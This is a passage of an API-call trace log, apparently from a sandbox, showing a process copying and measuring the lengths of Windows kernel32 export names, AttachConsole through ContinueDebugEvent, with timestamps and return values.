out: lpString1="AttachConsole") returned="AttachConsole" [0117.876] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0117.876] lstrlenA (lpString="BACKUPREAD") returned 10 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0117.876] lstrlenA (lpString="BACKUPSEEK") returned 10 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0117.876] lstrlenA (lpString="BACKUPWRITE") returned 11 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0117.876] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0117.876] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0117.876] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0117.876] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0117.876] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0117.876] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0117.876] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0117.876] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0117.876] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0117.876] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0117.877] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0117.877] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0117.877] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0117.877] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0117.877] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0117.877] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0117.877] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0117.877] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0117.877] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0117.877] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0117.877] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0117.877] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0117.877] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0117.877] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0117.877] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0117.877] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0117.877] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0117.877] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0117.878] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0117.878] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0117.878] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0117.878] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0117.878] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0117.878] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0117.878] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0117.878] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0117.878] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0117.878] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0117.878] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0117.878] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0117.878] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0117.879] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0117.879] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0117.879] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0117.879] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0117.879] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0117.879] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0117.879] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0117.879] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0117.879] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0117.879] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0117.881] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0117.881] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0117.881] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0117.881] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepNotifyLoadStringResource" | out: lpString1="BasepNotifyLoadStringResource") returned="BasepNotifyLoadStringResource" [0117.881] lstrlenA (lpString="BASEPNOTIFYLOADSTRINGRESOURCE") returned 29 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepPostSuccessAppXExtension" | out: lpString1="BasepPostSuccessAppXExtension") returned="BasepPostSuccessAppXExtension" [0117.881] lstrlenA (lpString="BASEPPOSTSUCCESSAPPXEXTENSION") returned 29 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepProcessInvalidImage" | out: lpString1="BasepProcessInvalidImage") returned="BasepProcessInvalidImage" [0117.881] lstrlenA (lpString="BASEPPROCESSINVALIDIMAGE") returned 24 [0117.881] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepQueryAppCompat" | out: lpString1="BasepQueryAppCompat") returned="BasepQueryAppCompat" [0117.882] lstrlenA (lpString="BASEPQUERYAPPCOMPAT") returned 19 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0117.882] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0117.882] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0117.882] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0117.882] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0117.882] lstrlenA (lpString="BEEP") returned 4 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0117.882] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0117.882] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0117.882] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0117.882] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0117.882] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0117.882] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0117.882] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0117.882] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0117.882] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0117.882] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0117.882] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0117.882] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0117.883] lstrlenA (lpString="CANCELIO") returned 8 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0117.883] lstrlenA (lpString="CANCELIOEX") returned 10 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0117.883] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0117.883] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0117.883] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0117.883] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0117.883] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0117.883] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0117.883] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0117.883] lstrlenA (lpString="CHECKELEVATION") returned 14 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0117.883] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0117.883] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0117.883] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0117.883] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0117.883] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0117.883] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0117.883] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0117.883] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0117.884] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0117.884] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0117.884] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0117.884] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0117.884] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0117.884] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0117.884] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0117.884] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0117.884] lstrlenA (lpString="CLOSESTATE") returned 10 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0117.884] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0117.884] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0117.884] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0117.884] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0117.884] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0117.884] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0117.884] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0117.884] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0117.884] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0117.884] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0117.885] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0117.885] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0117.885] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0117.885] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0117.885] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0117.885] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0117.885] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0117.885] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0117.885] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0117.885] lstrcpyA (in: lpString1=0x2e7f298, lpString2="ContinueDebugEvent" | out: 